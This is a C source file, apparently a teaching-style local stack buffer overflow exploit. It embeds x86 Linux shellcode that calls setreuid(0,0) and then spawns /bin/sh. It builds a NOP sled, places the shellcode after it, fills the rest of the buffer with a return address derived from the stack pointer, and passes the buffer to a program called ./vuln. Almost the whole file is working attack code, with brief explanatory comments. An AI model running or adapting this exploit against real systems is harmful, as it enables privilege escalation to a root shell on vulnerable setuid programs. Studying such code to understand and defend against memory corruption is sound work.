#include <stdlib.h>
char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
"\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
"\x68";
unsigned long sp(void) // This is just a little function
{
__asm__("movl %esp, %eax");
} // used to return the stack pointer
int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0; // Use an offset of 0
esp = sp(); // Put the current stack pointer into esp
ret = esp - offset; // We want to overwrite the ret address
printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);
// Allocate 600 bytes for buffer (on the heap)
buffer = malloc(600);
// Fill the entire buffer with the desired ret address
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
// Fill the first 200 bytes of the buffer with NOP instructions
for(i=0; i < 200; i++)
{ buffer[i] = '\x90'; }
// Put the shellcode after the NOP sled
ptr = buffer + 200;
for(i=0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
// End the string
buffer[600-1] = 0;
// Now call the program ./vuln with our crafted buffer as its argument
execl("./vuln", "vuln", buffer, 0);
// Free the buffer memory
free(buffer);
return 0;
}